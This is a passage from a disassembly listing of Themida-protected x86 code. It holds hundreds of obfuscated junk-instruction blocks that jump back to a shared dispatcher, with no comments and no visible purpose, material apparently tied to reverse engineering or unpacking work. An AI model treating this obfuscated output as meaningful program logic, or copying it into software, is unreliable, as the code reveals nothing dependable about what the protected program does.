		neg	word ptr [esp]
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_5579B7:				; CODE XREF: Themida_:00556EBEj
		mov	[esp], eax
		jmp	loc_55675C
; ---------------------------------------------------------------------------


loc_5579BF:				; CODE XREF: Themida_:00554DC9j
		add	edx, 4
		jmp	loc_5549CD
; ---------------------------------------------------------------------------


loc_5579C7:				; CODE XREF: Themida_:00559636j
		mov	ah, 8Ch
		push	ecx
		mov	cl, 0F2h
		add	cl, 84h
		jmp	loc_552111
; ---------------------------------------------------------------------------


loc_5579D4:				; CODE XREF: Themida_:00558714j
		push	edi
		mov	edi, 7E623108h
		jmp	loc_55CF17
; ---------------------------------------------------------------------------


loc_5579DF:				; CODE XREF: Themida_:005545E6j
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		or	eax, eax
		jz	loc_556413
		push	0E10h
		mov	[esp], ebp
		push	0FEh
		pop	ebp
		and	[edi+1Ch], ebp
		jmp	loc_556467
; ---------------------------------------------------------------------------


loc_557A09:				; CODE XREF: Themida_:00553B15j
		add	esp, 4
		add	eax, 4
		push	edi
		mov	edi, 2
		jmp	loc_554A5A
; ---------------------------------------------------------------------------


loc_557A1C:				; CODE XREF: Themida_:005544F7j
		add	edx, ebx
		mov	eax, [edx]
		pop	edx
		jmp	loc_55D877
; ---------------------------------------------------------------------------


loc_557A26:				; CODE XREF: Themida_:00559E3Dj
		add	[esp+4], eax
		pop	eax
		pop	ecx
		add	ecx, 4
		push	edi
		push	ecx
		mov	ecx, 761B7782h
		push	ecx
		add	dword ptr [esp], 2012422Bh
		pop	edi
		sub	edi, 2012422Bh
		pop	ecx
		sub	edi, 761B7780h
		sub	ecx, edi
		jmp	loc_55D321
; ---------------------------------------------------------------------------


loc_557A56:				; CODE XREF: Themida_:0055D9CFj
		push	ebx
		mov	bx, 2A56h
		or	bx, 7B91h
		add	bx, 0A131h
		or	bp, bx
		jmp	loc_55AEB7
; ---------------------------------------------------------------------------


loc_557A6D:				; CODE XREF: Themida_:00551D0Dj
		push	eax
		mov	eax, 2BE832DAh
		jmp	loc_55972D
; ---------------------------------------------------------------------------


loc_557A78:				; CODE XREF: Themida_:00557171j
		sub	al, ch
		pop	ecx
		push	6D4Bh
		mov	[esp], ebx
		push	edx
		mov	dh, 0B0h
		neg	dh
		sub	dh, 82h
		mov	bh, dh
		pop	edx
		shr	bh, 4
		jmp	loc_558A28
; ---------------------------------------------------------------------------


loc_557A96:				; CODE XREF: Themida_:00556FE6j
		sub	eax, 5575DF3Dh
		or	ebp, eax
		pop	eax
		add	ebp, 361F08AAh
		add	ebx, 1D2655Eh
		add	ebx, ebp
		jmp	loc_5544E2
; ---------------------------------------------------------------------------


loc_557AB1:				; CODE XREF: Themida_:00554218j
		pop	ebx
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_557AB7:				; CODE XREF: Themida_:0055AD63j
		pop	edi
		push	ecx
		jmp	loc_555D10
; ---------------------------------------------------------------------------


loc_557ABE:				; CODE XREF: Themida_:00551ABFj
		add	eax, 226850BEh
		sub	eax, ebp
		sub	eax, 226850BEh
		jmp	loc_553C86
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		push	1D44h
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	eax
		mov	eax, 4
		add	ebp, eax
		jmp	loc_556F8B
; ---------------------------------------------------------------------------


loc_557B03:				; CODE XREF: Themida_:00554B06j
		mov	cx, [esp]
		jmp	loc_55817C
; ---------------------------------------------------------------------------


loc_557B0C:				; CODE XREF: Themida_:00554348j
		push	ebx
		mov	ebx, esi
		mov	[edi+20h], ebx
		pop	ebx
		pop	esi
		mov	edx, [esp]
		add	esp, 4
		push	21E6h
		mov	[esp], ebx
		push	18C1h
		mov	[esp], eax
		mov	eax, 7BE66A1Ch
		mov	ebx, eax
		jmp	loc_55A0D5
; ---------------------------------------------------------------------------


loc_557B39:				; CODE XREF: Themida_:00557D29j
		mov	[esp], edx
		mov	edx, 7E2F1467h
		not	edx
		jmp	loc_5528C1
; ---------------------------------------------------------------------------


loc_557B48:				; CODE XREF: Themida_:00554A9Bj
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	edx
		push	ecx
		jmp	loc_55AF60
; ---------------------------------------------------------------------------


loc_557B55:				; CODE XREF: Themida_:0055AD32j
		pop	esi
		push	ebx
		mov	ebx, 73F36E80h
		xor	ebx, 473C46F0h
		add	ebx, 0CB30D794h
		add	esi, ebx
		pop	ebx
		push	edi
		push	ebx
		jmp	loc_5599D0
; ---------------------------------------------------------------------------


loc_557B72:				; CODE XREF: Themida_:0055773Aj
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	ebp, 4
		sub	esp, 4
		mov	[esp], ebx
		push	esi
		mov	esi, 27E5AADh
		mov	ebx, esi
		pop	esi
		dec	ebx
		jmp	loc_559213
; ---------------------------------------------------------------------------


loc_557BAB:				; CODE XREF: Themida_:00551FDBj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	bl, 43h
		jmp	loc_5537F2
; ---------------------------------------------------------------------------


loc_557BC3:				; CODE XREF: Themida_:0055ADCCj
		push	edx
		mov	edx, 3BA11F1Eh
		push	edx
		sub	dword ptr [esp], 2D777929h
		pop	ecx
		add	ecx, 2D777929h
		pop	edx
		mov	esi, 3BA11F20h
		sub	esi, ecx
		pop	ecx
		sub	edi, esi
		pop	esi
		xor	edi, [esp]
		jmp	loc_55DD0B
; ---------------------------------------------------------------------------


loc_557BEC:				; CODE XREF: Themida_:005573E4j
		add	edx, 8AC2EC5h
		pop	esi
		add	edx, eax
		add	edx, 454817D8h
		pop	eax
		xchg	edx, [esp]
		mov	esp, [esp]
		or	[esp], al
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_557C0B:				; CODE XREF: Themida_:00559720j
		add	[esp+4], eax
		jmp	loc_55D7DE
; ---------------------------------------------------------------------------


loc_557C14:				; CODE XREF: Themida_:0055D12Ej
		push	edx
		mov	edx, esp
		jmp	loc_55D094
; ---------------------------------------------------------------------------


loc_557C1C:				; CODE XREF: Themida_:0055815Cj
		mov	edi, esp
		push	ecx
		mov	ecx, 63F454B8h
		xor	ecx, 59F556A5h
		xor	ecx, 66B248A7h
		shl	ecx, 4
		inc	ecx
		jmp	loc_556307
; ---------------------------------------------------------------------------


loc_557C39:				; CODE XREF: Themida_:00551A36j
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5551A8
; ---------------------------------------------------------------------------


loc_557C50:				; CODE XREF: Themida_:00556D64j
		push	bx
		jmp	loc_555904
; ---------------------------------------------------------------------------


loc_557C57:				; CODE XREF: Themida_:00553B7Ej
		add	edi, 4
		sub	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		push	esp
		jmp	loc_559E34
; ---------------------------------------------------------------------------


loc_557C70:				; CODE XREF: Themida_:00557D48j
		add	esp, 4
		push	edx
		push	eax
		mov	eax, 6D0B1FD3h
		jmp	loc_5578CF
; ---------------------------------------------------------------------------


loc_557C7F:				; CODE XREF: Themida_:0055ABB2j
		pop	edi
		add	edi, 4
		push	3639h
		mov	[esp], ecx
		mov	ecx, 2
		add	edi, ecx
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		idiv	cl
		movzx	cx, ah
		push	edi
		jmp	loc_556E98
; ---------------------------------------------------------------------------


loc_557CC1:				; CODE XREF: Themida_:00555069j
		mov	ecx, 0A5D175Eh
		jmp	loc_55735A
; ---------------------------------------------------------------------------


loc_557CCB:				; CODE XREF: Themida_:005525EBj
		add	edi, 0E7F8C352h
		sub	eax, 22C460BEh
		sub	eax, edi
		add	eax, 22C460BEh
		mov	edi, [esp]
		push	5DCEh
		mov	[esp], edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		jmp	loc_552B99
; ---------------------------------------------------------------------------


loc_557CF8:				; CODE XREF: Themida_:005525D2j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], eax
		push	esp
		pop	eax
		jmp	loc_556788
; ---------------------------------------------------------------------------


loc_557D15:				; CODE XREF: Themida_:00558478j
		xor	esi, 786247B2h
		mov	ecx, esi
		pop	esi
		jmp	loc_558A95
; ---------------------------------------------------------------------------


loc_557D23:				; CODE XREF: Themida_:00554C02j
		pop	ebx
		push	1B6Fh
		jmp	loc_557B39
; ---------------------------------------------------------------------------


loc_557D2E:				; CODE XREF: Themida_:00553F3Cj
		mov	[esp], ebp
		mov	ebp, 2
		add	esi, ebp
		jmp	loc_551E31
; ---------------------------------------------------------------------------


loc_557D3D:				; CODE XREF: Themida_:0055B82Aj
		push	edx
		jmp	loc_55D4FA
; ---------------------------------------------------------------------------


loc_557D43:				; CODE XREF: Themida_:005555CBj
		push	esp
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_557C70
; ---------------------------------------------------------------------------


loc_557D4D:				; CODE XREF: Themida_:0055ACDBj
		push	esi
		mov	esi, 4
		add	ebp, 5F546786h
		sub	ebp, esi
		push	edi
		mov	edi, 5F546786h
		sub	ebp, edi
		jmp	loc_55B046
; ---------------------------------------------------------------------------


loc_557D68:				; CODE XREF: Themida_:00559FEFj
		pop	eax
		jmp	loc_55BBD5
; ---------------------------------------------------------------------------


loc_557D6E:				; CODE XREF: Themida_:00558AE1j
		pop	edx
		sub	edi, 3D2000DAh
		not	edi
		neg	edi
		xor	edi, 7536C4D0h
		add	[edx], edi
		pop	edi
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5538CA
; ---------------------------------------------------------------------------


loc_557D92:				; CODE XREF: Themida_:0055C2BBj
		add	bh, 60h
		mov	ch, 0DBh
		xor	ch, bh
		pop	ebx
		add	al, ch
		pop	ecx
		jmp	loc_55C1E6
; ---------------------------------------------------------------------------


loc_557DA2:				; CODE XREF: Themida_:0055B1D9j
		add	ebp, 4
		jmp	loc_554DA3
; ---------------------------------------------------------------------------


loc_557DAA:				; CODE XREF: Themida_:00556B46j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 0B242085Dh
		add	edi, 5ECA3234h
		add	edi, ecx
		sub	edi, 5ECA3234h
		pop	ecx
		push	edi
		xor	dword ptr [esp], 1AF23CC6h
		pop	edx
		jmp	loc_556650
; ---------------------------------------------------------------------------


loc_557DD2:				; CODE XREF: Themida_:0055B525j
		add	al, bl
		push	dx
		mov	dh, 0ACh
		sub	al, dh
		pop	dx
		mov	ebx, [esp]
		jmp	loc_558A60
; ---------------------------------------------------------------------------


loc_557DE4:				; CODE XREF: Themida_:0055ACF7j
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_55600D
; ---------------------------------------------------------------------------


loc_557DEF:				; CODE XREF: Themida_:00553804j
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_559255
; ---------------------------------------------------------------------------


loc_557DFE:				; CODE XREF: Themida_:00556DA6j
		pop	eax
		xor	ch, 1Ch
		jmp	loc_55B5FA
; ---------------------------------------------------------------------------


loc_557E07:				; CODE XREF: Themida_:00558438j
		xor	edi, [esp]
		pop	esp
		jmp	loc_552B27
; ---------------------------------------------------------------------------


loc_557E10:				; CODE XREF: Themida_:00556FB7j
		push	ebx
		jmp	loc_55AA92
; ---------------------------------------------------------------------------


loc_557E16:				; CODE XREF: Themida_:0055A774j
		pop	edi
		add	edx, ecx
		mov	[edx], al
		pop	edx
		pop	ecx
		jmp	loc_55B52A
; ---------------------------------------------------------------------------


loc_557E22:				; CODE XREF: Themida_:0055CB3Dj
		pop	edx
		add	ebp, edx
		mov	edx, [esp]
		jmp	loc_55CCB4
; ---------------------------------------------------------------------------


loc_557E2D:				; CODE XREF: Themida_:00555611j
		mov	[esp], eax
		mov	eax, 259069A6h
		jmp	loc_557E4E
; ---------------------------------------------------------------------------


loc_557E3A:				; CODE XREF: Themida_:00554126j
		mov	eax, [edx]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_557644
; ---------------------------------------------------------------------------


loc_557E4E:				; CODE XREF: Themida_:00557E35j
		neg	eax
		sub	eax, 0DA6F9658h
		add	ecx, eax
		pop	eax
		jmp	loc_55AB87
; ---------------------------------------------------------------------------


loc_557E5D:				; CODE XREF: Themida_:00557412j
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		push	esi
		mov	esi, esp
		push	ebx
		jmp	loc_55232B
; ---------------------------------------------------------------------------


loc_557E7A:				; CODE XREF: Themida_:005541D4j
		pop	edx
		xor	esi, [esp]
		jmp	loc_55C870
; ---------------------------------------------------------------------------


loc_557E83:				; CODE XREF: Themida_:0055C68Dj
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	62BAh
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_55B038
; ---------------------------------------------------------------------------


loc_557E9E:				; CODE XREF: Themida_:005555A1j
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_55D0F8
; ---------------------------------------------------------------------------


loc_557EB9:				; CODE XREF: Themida_:0055CFDBj
		add	dword ptr [esp], 4
		jmp	loc_55559B
; ---------------------------------------------------------------------------


loc_557EC2:				; CODE XREF: Themida_:0055D726j
		add	edx, 7CEAE2F3h
		add	ebp, edx
		pop	edx
		jmp	loc_55B807
; ---------------------------------------------------------------------------


loc_557ED0:				; CODE XREF: Themida_:00558E06j
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], eax
		push	esp
		mov	eax, [esp]
		push	edi
		jmp	loc_55666A
; ---------------------------------------------------------------------------


loc_557EEA:				; CODE XREF: Themida_:00557672j
		mov	eax, 2B64284Eh
		xor	eax, 0D4C5EA0h
		jmp	loc_552DA3
; ---------------------------------------------------------------------------


loc_557EF9:				; CODE XREF: Themida_:0055DA4Bj
		shl	ecx, 7
		jmp	loc_556645
; ---------------------------------------------------------------------------


loc_557F01:				; CODE XREF: Themida_:0055B17Fj
		not	ebp
		jmp	loc_551CA5
; ---------------------------------------------------------------------------


loc_557F08:				; CODE XREF: Themida_:0055AF65j
		push	eax
		push	edi
		mov	edi, 48F6106Ah
		shr	edi, 6
		and	edi, 56553220h
		dec	edi
		shr	edi, 2
		push	eax
		mov	eax, 0F9E74F1h
		and	eax, 5E98578Ah
		sub	eax, 2B285595h
		shl	eax, 1
		not	eax
		and	eax, 35223A0Ah
		sub	eax, 0ABD06Bh
		jmp	loc_553B83
; ---------------------------------------------------------------------------


loc_557F3F:				; CODE XREF: Themida_:005599D5j
		pop	ebx
		jmp	loc_555C9E
; ---------------------------------------------------------------------------


loc_557F45:				; CODE XREF: Themida_:00553D66j
		add	ebp, ebx
		jmp	loc_552EF1
; ---------------------------------------------------------------------------


loc_557F4C:				; CODE XREF: Themida_:00551E38j
		xor	al, bl
		push	small 6BF4h
		mov	[esp], cx
		mov	cl, 4Bh
		push	ebx
		jmp	loc_557364
; ---------------------------------------------------------------------------


loc_557F5E:				; CODE XREF: Themida_:00554B61j
		add	edx, edi
		pop	edi
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_554CB7
; ---------------------------------------------------------------------------


loc_557F6C:				; CODE XREF: Themida_:0055428Ej
		push	edx
		mov	edx, 63265EF6h
		or	[edi+24h], edx
		jmp	loc_552A4F
; ---------------------------------------------------------------------------


loc_557F7A:				; CODE XREF: Themida_:00551F7Cj
		xchg	edx, [esp]
		mov	esp, [esp]
		xor	[esp], al
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_557F89:				; CODE XREF: Themida_:005546CBj
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55208D
; ---------------------------------------------------------------------------


loc_557F95:				; CODE XREF: Themida_:00559E12j
		sub	ebx, 31E74354h
		jmp	loc_55CBF9
; ---------------------------------------------------------------------------


loc_557FA0:				; CODE XREF: Themida_:005524F7j
		add	ecx, ebx
		mov	ebx, [esp]
		jmp	loc_558904
; ---------------------------------------------------------------------------


loc_557FAA:				; CODE XREF: Themida_:0055D08Fj
		push	dword ptr [esp+4]
		jmp	loc_55DCC1
; ---------------------------------------------------------------------------


loc_557FB3:				; CODE XREF: Themida_:0055AD8Fj
		pop	ebp
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edx
		push	eax
		push	dword ptr [esp]
		pop	edx
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 7E1571B9h
		push	edi
		mov	edi, 0
		sub	edi, edx
		jmp	loc_55774E
; ---------------------------------------------------------------------------


loc_557FDC:				; CODE XREF: Themida_:0055B6DFj
		xchg	ebp, [esp]
		jmp	loc_55A7E6
; ---------------------------------------------------------------------------


loc_557FE4:				; CODE XREF: Themida_:0055BADEj
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_55A81D
; ---------------------------------------------------------------------------


loc_557FF5:				; CODE XREF: Themida_:0055B71Fj
		push	ebx
		mov	ebx, 3F777886h
		jmp	loc_559BBD
; ---------------------------------------------------------------------------


loc_558000:				; CODE XREF: Themida_:00558F29j
		pop	esi
		jmp	loc_55A549
; ---------------------------------------------------------------------------


loc_558006:				; CODE XREF: Themida_:0055B426j
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_55800B:				; CODE XREF: Themida_:00558880j
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_558010:				; CODE XREF: Themida_:005524DDj
		push	ecx
		push	2300h
		jmp	loc_555843
; ---------------------------------------------------------------------------


loc_55801B:				; CODE XREF: Themida_:0055278Ej
		sub	cl, 3Ah
		add	bl, cl
		pop	cx
		push	ebx
		push	esp
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	esi
		mov	esi, 3C9F0C71h
		jmp	loc_557694
; ---------------------------------------------------------------------------


loc_558039:				; CODE XREF: Themida_:00555DC5j
		xor	dh, 76h
		jmp	loc_55BB5F
; ---------------------------------------------------------------------------


loc_558041:				; CODE XREF: Themida_:0055222Bj
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 4D4D4A61h
		add	edx, 1
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		push	edx
		jmp	loc_55DCD5
; ---------------------------------------------------------------------------


loc_558068:				; CODE XREF: Themida_:0055AB0Ej
		mov	[esp], esi
		push	esp
		mov	esi, [esp]
		jmp	loc_5599E1
; ---------------------------------------------------------------------------


loc_558074:				; CODE XREF: Themida_:00555886j
		mov	ebx, 783362A1h
		add	eax, ebx
		pop	ebx
		sub	eax, ebx
		jmp	loc_55574B
; ---------------------------------------------------------------------------


loc_558083:				; CODE XREF: Themida_:00559F98j
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_556836
; ---------------------------------------------------------------------------


loc_55808D:				; CODE XREF: Themida_:005527C2j
		push	1AFFh
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_552820
; ---------------------------------------------------------------------------


loc_5580A0:				; CODE XREF: Themida_:0055DD5Cj
		mov	edx, esp
		add	edx, 4
		jmp	loc_5596FF
; ---------------------------------------------------------------------------


loc_5580AD:				; CODE XREF: Themida_:00552B9Cj
		pop	esp
		push	ecx
		mov	ecx, 1B666AFDh
		push	ebp
		push	edi
		mov	edi, 3C361E21h
		mov	ebp, 0D20A0683h
		add	ebp, 678D4775h
		add	ebp, edi
		jmp	loc_55603D
; ---------------------------------------------------------------------------


loc_5580CD:				; CODE XREF: Themida_:00552D2Dj
		shr	ebx, 3
		jmp	loc_55712E
; ---------------------------------------------------------------------------


loc_5580D5:				; CODE XREF: Themida_:00558A78j
		add	edi, 32CF7FDFh
		add	edi, 439C6A33h
		sub	edi, 0FFFFFFFFh
		push	esi
		mov	esi, 0C8303549h
		xor	edi, esi
		pop	esi
		sub	ebx, 39C25E4Ch
		add	ebx, edi
		add	ebx, 39C25E4Ch
		mov	edi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 2
		sub	ebx, ecx
		pop	ecx
		xchg	ebx, [esp]
		jmp	loc_55797F
; ---------------------------------------------------------------------------


loc_558115:				; CODE XREF: Themida_:00555D1Ej
		add	edx, 0BC8EE76Ch
		push	edx
		mov	edx, 4B053FC1h
		jmp	loc_555007
; ---------------------------------------------------------------------------


loc_558126:				; CODE XREF: Themida_:0055576Cj
		sub	eax, esi
		add	eax, 601C7003h
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_554079
; ---------------------------------------------------------------------------


loc_55813C:				; CODE XREF: Themida_:00556A4Bj
		mov	cl, 5Ah
		push	ecx
		push	ebx
		mov	bh, 0D6h
		mov	cl, bh
		jmp	loc_5588EE
; ---------------------------------------------------------------------------

locret_558149:				; CODE XREF: Themida_:005530B1j
		retn
; ---------------------------------------------------------------------------
		jmp	loc_551815
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	3DF0h
		mov	[esp], eax
		push	edi
		jmp	loc_557C1C
; ---------------------------------------------------------------------------
		push	small word ptr [edx]
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_558169:				; CODE XREF: Themida_:00552938j
		pop	ecx
		push	esi
		jmp	loc_558CE2
; ---------------------------------------------------------------------------


loc_558170:				; CODE XREF: Themida_:00553D83j
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_558175:				; CODE XREF: Themida_:00555B43j
		mov	edi, esp
		jmp	loc_5553B3
; ---------------------------------------------------------------------------


loc_55817C:				; CODE XREF: Themida_:00557B07j
		add	esp, 2
		push	237Bh
		mov	[esp], ecx
		push	ebx
		push	ecx
		push	ebx
		mov	bl, 0AFh
		mov	cl, bl
		jmp	loc_552B04
; ---------------------------------------------------------------------------


loc_558196:				; CODE XREF: Themida_:00554389j
		mov	[esp], eax
		push	ecx
		jmp	loc_557285
; ---------------------------------------------------------------------------


loc_55819F:				; CODE XREF: Themida_:00559E5Dj
		or	ebx, 238121D6h
		and	ebx, 3B276F77h
		add	ebx, 0C4DADAAEh
		add	esi, ebx
		pop	ebx
		xchg	esi, [esp]
		jmp	loc_5594D6
; ---------------------------------------------------------------------------


loc_5581BC:				; CODE XREF: Themida_:0055AA3Fj
		add	bl, dl
		mov	edx, [esp]
		push	edi
		push	esp
		jmp	loc_55A1F0
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	byte ptr [esp],	cl
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_5581D7:				; CODE XREF: Themida_:005586F9j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_5597EB
; ---------------------------------------------------------------------------


loc_5581EB:				; CODE XREF: Themida_:00552C9Dj
		sub	eax, ecx
		pop	ecx
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_551DCB
; ---------------------------------------------------------------------------


loc_5581FA:				; CODE XREF: Themida_:0055D189j
		push	5259h
		mov	[esp], esp
		push	edi
		mov	edi, 4
		add	[esp+4], edi
		mov	edi, [esp]
		add	esp, 4
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 61134AD3h
		xor	eax, 11F9070Fh
		add	eax, 57CB1197h
		neg	eax
		neg	eax
		or	eax, 4CB6089Eh
		sub	eax, 0CCB75FFBh
		jmp	loc_55A958
; ---------------------------------------------------------------------------


loc_55823E:				; CODE XREF: Themida_:0055B20Ej
		sub	bl, 0B4h
		push	edx
		mov	dh, 0F0h
		neg	dh
		jmp	loc_554EAC
; ---------------------------------------------------------------------------


loc_55824B:				; CODE XREF: Themida_:00555BC1j
		add	eax, 4
		sub	eax, 4
		jmp	loc_557737
; ---------------------------------------------------------------------------


loc_55825A:				; CODE XREF: Themida_:00557749j
		mov	edx, 365C71C9h
		and	eax, edx
		pop	edx
		add	eax, 806A926h
		jmp	loc_557962
; ---------------------------------------------------------------------------


loc_55826C:				; CODE XREF: Themida_:00554EB7j
		xor	dh, 50h
		sub	bl, dh
		jmp	loc_55448D
; ---------------------------------------------------------------------------


loc_558276:				; CODE XREF: Themida_:00555CD9j
		xor	si, 0F441h
		jmp	loc_55C808
; ---------------------------------------------------------------------------
		pop	dword ptr [edx]
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_558287:				; CODE XREF: Themida_:00553CEAj
		neg	edi
		not	edi
		push	70E3h
		jmp	loc_55C7D4
; ---------------------------------------------------------------------------


loc_558295:				; CODE XREF: Themida_:005557A7j
		pop	esp
		mov	[esp], esi
		mov	esi, 20000h
		and	eax, esi
		push	dword ptr [esp]
		pop	esi
		push	0E1Dh
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_556C39
; ---------------------------------------------------------------------------


loc_5582B9:				; CODE XREF: Themida_:0055920Ej
		pop	edi
		jmp	loc_554BA2
; ---------------------------------------------------------------------------


loc_5582BF:				; CODE XREF: Themida_:0055C6DAj
		push	ebx
		mov	ebx, 717768DBh
		xor	ecx, ebx
		pop	ebx
		shr	ecx, 7
		shl	ecx, 3
		sub	ecx, 0F7A9AC6Ch
		push	edi
		jmp	loc_559A47
; ---------------------------------------------------------------------------


loc_5582DA:				; CODE XREF: Themida_:00558777j
		push	edx
		jmp	loc_555CFE
; ---------------------------------------------------------------------------
		dd 0E9242489h, 35F2h
; ---------------------------------------------------------------------------


loc_5582E8:				; CODE XREF: Themida_:0055530Cj
		add	ebp, 4
		push	ebx
		push	eax
		mov	eax, 738F0D58h
		mov	ebx, eax
		pop	eax
		jmp	loc_55B957
; ---------------------------------------------------------------------------


loc_5582FD:				; CODE XREF: Themida_:0055762Cj
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_5562CB
; ---------------------------------------------------------------------------


loc_558311:				; CODE XREF: Themida_:00555092j
		add	ecx, edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_55A11A
; ---------------------------------------------------------------------------


loc_55831C:				; CODE XREF: Themida_:0055608Aj
		push	ebx
		push	30832195h
		pop	ebx
		inc	ebx
		add	ebx, 2D5441AAh
		not	ebx
		add	ebx, 0BCADB51Bh
		push	ebx
		sub	dword ptr [esp], 5100515Eh
		jmp	loc_55A243
; ---------------------------------------------------------------------------


loc_55833F:				; CODE XREF: Themida_:00554B92j
		push	2933h
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], edi
		push	esi
		push	ebp
		mov	ebp, 7B777D4Dh
		jmp	loc_553CB8
; ---------------------------------------------------------------------------


loc_55835C:				; CODE XREF: Themida_:005578B4j
		pop	esi
		xchg	eax, [esp]
		pop	esp
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	6C27h
		mov	[esp], esi
		push	1FE8h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	esi, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_55D68E
; ---------------------------------------------------------------------------


loc_558393:				; CODE XREF: Themida_:00554090j
		add	esi, 7B03108Ch
		pop	edi
		sub	esi, 4
		jmp	loc_552FD3
; ---------------------------------------------------------------------------


loc_5583A2:				; CODE XREF: Themida_:00554F13j
		xchg	edx, [esp]
		pop	esp
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_5583AB:				; CODE XREF: Themida_:0055B668j
		sub	edi, 40DC22CDh
		or	ecx, edi
		pop	edi
		neg	ecx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 332962A8h
		shl	esi, 7
		jmp	loc_557701
; ---------------------------------------------------------------------------


loc_5583CC:				; CODE XREF: Themida_:005552A8j
		mov	[esp], ecx
		push	edi
		push	4A921684h
		mov	edi, [esp]
		add	esp, 4
		shr	edi, 7
		and	edi, 359F0D3Eh
		inc	edi
		jmp	loc_55D18E
; ---------------------------------------------------------------------------


loc_5583ED:				; CODE XREF: Themida_:0055DA17j
		sub	[esp+8], eax
		jmp	loc_55AD0B
; ---------------------------------------------------------------------------


loc_5583F6:				; CODE XREF: Themida_:00553382j
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		mov	eax, [esp]
		jmp	loc_55BF18
; ---------------------------------------------------------------------------


loc_55840A:				; CODE XREF: Themida_:00552CB1j
		mov	[esp], ecx
		push	small 77A5h
		mov	[esp], ax
		mov	ah, 90h
		mov	ch, ah
		pop	ax
		xor	ch, 6Eh
		shr	ch, 7
		push	small 0
		sub	[esp], ch
		jmp	loc_55D5E6
; ---------------------------------------------------------------------------


loc_55842D:				; CODE XREF: Themida_:0055C448j
		pop	esi
		not	ebx
		jmp	loc_553FDD
; ---------------------------------------------------------------------------


loc_558435:				; CODE XREF: Themida_:00559619j
		xor	[esp], edi
		jmp	loc_557E07
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		jmp	loc_553429
; ---------------------------------------------------------------------------


loc_558446:				; CODE XREF: Themida_:00555D2Ej
